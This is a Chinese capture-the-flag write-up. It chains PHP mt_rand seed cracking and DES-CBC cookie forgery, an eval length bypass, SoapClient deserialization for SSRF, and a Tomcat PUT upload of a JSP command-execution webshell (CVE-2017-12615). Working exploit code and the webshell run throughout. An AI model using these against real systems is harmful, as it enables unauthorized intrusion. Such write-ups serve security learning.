first
从www.zip获取源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | session_start();error_reporting(0);
 include "user.php";
 include "conn.php";
 $IV = "85196940";
 if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
 if(!isset($_SESSION['key'])){
 $_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
 $_SESSION['iv'] = $IV;
 }
 $username = "guest";
 $o = new User($username);
 echo $o->show();
 $ser_user = serialize($o);
 $cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
 setcookie("user", base64_encode($cipher), time()+3600);
 setcookie("hash", md5($ser_user), time() + 3600);
 }
 else{
 $user = base64_decode($_COOKIE['user']);
 $uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
 if(md5($uid) !== $_COOKIE['hash']){
 die("no hacker!");
 }
 $o = unserialize($uid);
 echo $o->show();
 if ($o->username === "admin"){
 $_SESSION['name'] = 'admin';
 include "hint.php";
 }
 }
 
 | 
可以观察到, 加密模式为des-cbc
但是明文我们却是知道的, 我们看加密的部分
| 12
 3
 4
 
 | $o = new User($username);echo $o->show();
 $ser_user = serialize($o);
 $cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
 
 | 
那么我们现在已知明文密文, 如果能够再获得 key 或者 iv, 就可以直接加解密了, 因为 des-cbc 的加密方式如下(CBC字节翻转原理)

我们看第一个块, 首先取 8 个字节的明文, 与IV进行异或, 再与KEY进行加密运算, 之后输出 16 字节的密文, 而如果我们知道KEY, 后面则是用上一个块的加密结果代替IV异或, 而我们如果能知道KEY, 就可以将明文作为IV, 用密文和KEY进行解密, 获得的第一个块的值, 就是 IV
可以看到红框中的两个部分是一样的, 但是我们如何获取KEY呢, 注意到页面中给了这些信息

而源代码中的mt_rand需要seed才能获取随机数。现在已知该函数产生的三个随机数。
采用文章中介绍的方法获取seed
https://www.anquanke.com/post/id/196831
破解脚本需配置三个参数
各参数分别为
- 相隔 226 个数的 R0, R227
- 生成 R0 之前已经生成的个数 offset
- flavour 如果是 php7 则为 1, php5 则为 0
计算的部分如下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | 
 $uid_first = $argv[1]??1082636436;
 $uid_last = $argv[2]??306106574;
 $seed = rtrim(shell_exec("python seed.py $uid_first $uid_last"));
 echo "seed: $seed\n";
 
 
 class User{
 public $username;
 function __construct($username)
 {
 $this->username = $username;
 }
 function show(){
 return "username: $this->username\n";
 }
 }
 $o = new User("guest");
 $mes = serialize($o);
 $c = $argv[3]??"OS8vWDE4Mk5ETklJYytXTUFLZG5xU2hJeFkyQ2tXbTJEb01wWkhRUThkckpYcnFDR2RpalFhb3dDekRTem82RQ%3D%3D";
 $cipher = base64_decode(urldecode($c));
 mt_srand(intval($seed));
 for($i = 0; $i < 228; $i++){
 mt_rand();
 }
 $key = strval(mt_rand() & 0x5f5e0ff);
 echo "key: $key\n";
 $iv = substr(openssl_decrypt($cipher, "des-cbc", $key, 0, substr($mes, 0, 8)),0,8);
 echo "iv: $iv\n";
 
 | 
然后我们就可以进行反序列化了, 先登录为admin
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | class User{
 public $username;
 function __construct($username)
 {
 $this->username = $username;
 }
 function show(){
 return "username: $this->username\n";
 }
 }
 $o = new User("admin");
 $aaa = serialize($o);
 $cipher = openssl_encrypt($aaa, "des-cbc", $key, 0, $iv);
 $cookie_user =  base64_encode($cipher);
 $cookie_hash =  md5($aaa);
 echo "user: $cookie_user\n";
 echo "hash: $cookie_hash\n";
 
 | 
second
hint.php 中直接给出了位置, 而右键就可以看到注释的源代码,
| 12
 3
 4
 5
 6
 7
 8
 
 | if(isset($_GET['cc'])){
 $cc = $_GET['cc'];
 eval(substr($cc, 0, 6));
 }
 else{
 highlight_file(__FILE__);
 }
 
 | 
我们可以通过/?cc=$cc的方式来绕过,因为$cc刚好是 6 个长度, 而$就是重新引用了变量, 使得长度不再受限, 那么我们就可以任意执行了
但是我们看提示的位置是在内网, 我们进不去, 有什么办法可以进去呢
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
可以看到当调用SoapClient类不存在的方法时, 会触发__call, 使得我们拥有一个请求注入的机会, 这里就正好可以用来打 SSRF, 因为源码中存在一个反序列化, 反序列化的参数可控, 并且会调用一个show()方法
| 12
 
 | $o = unserialize($uid);echo $o->show();
 
 | 
因而poc可以写为
| 12
 3
 4
 5
 
 | $cmd = urlencode("`\$cc`;bash -c 'payload'");$path = "http://10.10.1.12/";
 $path = $path."?cc=$cmd";
 $o = new SoapClient(null, array('uri' => $path, 'location' => $path));
 $aaa = serialize($o);
 
 | 
third
https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
一个tomcat的老洞,找到一个jsp马上传
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <%if("023".equals(request.getParameter("pwd"))){
 java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
 int a = -1;
 byte[] b = new byte[2048];
 out.print("
 
 ");
 while((a=in.read(b))!=-1){
 out.println(new String(b));
 }
 out.print("
 
 ");
 }
 %>
 
 | 
| 1
 | curl -X PUT http://10.10.2.13:8080/2.jsp/ -d "`echo PCUKICAgIGlmKCIwMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiaSIpKS5nZXRJbnB1dFN0cmVhbSgpOwogICAgICAgIGludCBhID0gLTE7CiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4XTsKICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7CiAgICAgICAgd2hpbGUoKGE9aW4ucmVhZChiKSkhPS0xKXsKICAgICAgICAgICAgb3V0LnByaW50bG4obmV3IFN0cmluZyhiKSk7CiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9CiU+|base64 -d`"
 |